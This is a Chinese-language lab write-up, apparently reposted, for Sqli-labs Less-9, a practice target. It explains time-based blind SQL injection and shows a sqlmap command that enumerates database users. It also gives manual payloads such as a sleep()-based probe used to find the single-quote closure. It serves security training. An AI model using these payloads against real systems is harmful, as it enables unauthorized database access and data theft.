当前位置:   article > 正文

​Sqli-labs靶场第9关详解[Sqli-labs-less-9]

​Sqli-labs靶场第9关详解[Sqli-labs-less-9]
Sqli-labs-Less-9
前言:
SQL注入的三个条件:
①参数可控;(从参数输入就知道参数可控)
②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断)
③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互)

利用 order by 来测列数

    测显位:mysql用1,2,3,4

 Mysql获取相关数据:

    一、数据库版本-看是否认符合information_schema查询-version()
    二、数据库用户-看是否符合root型注入攻击-user()
    三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
    四、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

SQL注入-时间型盲注(Time-based blind)

sqlmap 会替换或者添加相关的 SQL 语句到 HTTP 请求的查询参数里面,相关的 SQL 语句可能是合法的、用于使后端 DBMS(Database Management System,数据库管理系统)延迟几秒响应的查询。针对每一个注入检测的 HTTP 响应,通过对 HTTP 响应时间与原始请求之间进行比较,从而逐个字符地推导出注入语句的输出。正如基于布尔型盲注的技术一样,二分算法也会被应用。

 #自动化注入-SQLmap工具注入

 SQLmap用户手册:文档介绍 - sqlmap 用户手册
python sqlmap.py -u http://192.168.0.7:802/sqli-labs/Less-9/?id=1 --users

 爆DBMS所有用户为:

成功利用漏洞!!!

#手工注入

1.根据提示id传参/?id=1,显示You are in...........

?id=0  显示You are in...........

?id=1231234  也显示You are in...........

?id=1'   ?id=1"  ?id=1')  ?id=1")   仍显示You are in...........

初步判断,上传id值后无论id值为多少,最终回显的都是You are in...........

如果是这样,那么   联合注入/报错注入/布尔型注入  这些注入方式在这题行不通

尝试  时间注入

当?id=1 and if(1=1,sleep(5),1) --+  时,反应正常,说明存在闭合

当?id=1' and if(1=1,sleep(5),1) --+ 时,反应变慢,说明 闭合 为 单引号 '

时间注入他人相关文章参考:Web安全原理剖析(五)——时间注入攻击-CSDN博客

成功利用漏洞!!!

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/141290
推荐阅读
相关标签
  

闽ICP备14008679号